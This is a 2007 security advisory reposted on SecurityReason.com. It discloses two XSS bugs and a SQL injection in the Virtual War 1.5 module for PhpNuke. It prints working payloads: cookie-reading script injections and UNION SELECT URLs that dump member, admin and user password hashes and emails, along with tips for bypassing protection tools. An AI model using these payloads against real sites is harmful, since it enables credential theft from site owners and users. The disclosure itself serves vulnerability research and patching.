SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Multiple vulnerabilities in Virtual War 1.5 module for PhpNuke


Arrow  SecurityAlert : 2642
Arrow  CVE : CVE-2007-2312
Arrow  CVE : CVE-2007-2306
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : anek Vind "waraxe"
Arrow  Published : 28.04.2007

Arrow  Affected Software : Virtual War 1.5 module for PhpNuke



Arrow  Advisory Text :  


[waraxe-2007-SA#048] - Multiple vulnerabilities in Virtual War 1.5 module
for PhpNuke

Author: Janek Vind "waraxe"
Date: 13. April 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-48.html

Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

VWar module for PhpNuke

http://www.vwar.de/

VWar is a webbased matchorganizing system for online gamers.
The complete output is realised by PHP with MySQL as database backend.
The system is divided into 2 parts, the public area and the admin area.

VWar 1.5.0 R15 is out.
Changes:
fixed: mysql injection bug in extra/ files

// I guess, they have not fixed all the bugs yet :) //

Affected are Virtual War versions 1.5 R15 and below

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Found security bugs: one critical sql injection and two XSS bugs.
There are probably more vulnerabilities, had no time for deeper analyze
...

1. XSS in "/modules/vwar/extra/today.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.target.com/modules/vwar/extra/today.php?whattoshow=3&title=ka
la<script>alert(document.cookie);</script>

Problem is caused by uninitialized variable "$title". Successful
exploitation requires that "register_globals" is "on"
in php settings.

2. XSS in "/modules/vwar/extra/login.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.target.com/modules/vwar/extra/login.php?memberlist=</select><
/form><script>alert(document.cookie);</script>

Similar to previous case this XSS is caused by uninitialized variable, in
this time "$memberlist".
Successful exploitation requires that "register_globals" is "on" in php
settings.

3. Critical sql injection bug in many VWar scripts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Personally, I like uninitialized variables in php source code. They are
giving so much cool possibilities to
everyone, who is searching for secutity holes. And this serious sql
injection case has his roots in same problem.

Let's look @ "/modules/vwar/extra/online.php" line 63:

----------------[ from source code ]------------------
$query = $vwardb->query("
SELECT memberid, name, lastactivity
FROM vwar".$n."_member WHERE lastactivity > ".(time() - $onlinetime *
60)."
");
----------------[ /from source code ]-----------------

And by the way - "$n" variable is not initialized! So what happens, if we
issue this query:

http://www.victim.com/modules/vwar/extra/online.php?n=waraxe

Oops... We got error message:

-> Database Error: Invalid SQL:
SELECT memberid, name, lastactivity
FROM vwarwaraxe_member WHERE lastactivity > 1176476015

-> MySQL Error: Table 'victimdb.vwarwaraxe_member' doesn't exist
-> MySQL Error Number: 1146
-> Date: 11.04.2007 @ 18:03
-> Script: /modules/vwar/extra/online.php?n=waraxe
-> Referer:

Now, can we exploit this sql injection? Let's try next move:

http://www.victim.com/modules/vwar/extra/online.php?n=_member+WHERE+0+UN
ION+ALL+SELECT+1,@@version,3/*

4.1.22

It works!! Now it's time for more serious fun:

[[[[[ kidd0z - attentione ]]]]]

http://www.victim.com/modules/vwar/extra/online.php?n=_member+WHERE+0+
UNION+ALL+SELECT+1,CONCAT(name,CHAR(94),password,CHAR(94),email),3+FROM+
vwar_member/*

... and we get all vwar member usernames, password double-md5 hashes and
emails

http://www.victim.com/modules/vwar/extra/online.php?n=_member+WHERE+0+
UNION+ALL+SELECT+1,CONCAT(aid,CHAR(94),pwd,CHAR(94),email),3+FROM+nuke_a
uthors/*

... and we have all the nuke admin usernames, md5 hashes and emails

http://www.victim.com/modules/vwar/extra/online.php?n=_member+WHERE+0+
UNION+ALL+SELECT+1,CONCAT(username,CHAR(94),user_password,CHAR(94),user_
email),3+FROM+nuke_users/*

... and finally, all the nuke user credentials in one big listing :)

Remarks:

R01 - Sentinel, Protector and other powerful phpnuke protection systems -
they will not work
against this exploits. Because we are not entering from front door, but
will use rear window :)

R02 - "register_globals" must be "on" for exploits to work

R03 - phpnuke table prefix can be changed from default, in this case - no
nuke user and admin data!

R04 - there can be need for playing with "$n" value. Because vwar module
installer can assaign different
values besides empty value. So if default exploit will not work, then this
can be tried:

/online.php?n=0_member+WHERE
/online.php?n=1_member+WHERE
/online.php?n=2_member+WHERE

... and so on.
And because we have perfect sql error feedback, then it is easy to overcome
various exploiting problems.

R05 - many other scripts in "extra" directory have same sql injection
vulnerability!

See ya soon and have a nice day ;)

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to LINUX, Heintz, slimjim100, shai-tan, y3dips and all
other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

Shameless advertise:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expedition database - http://www.dxdb.com/
Amateur Radio Database - http://www.hamdb.com/

---------------------------------- [ EOF ]
------------------------------------




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.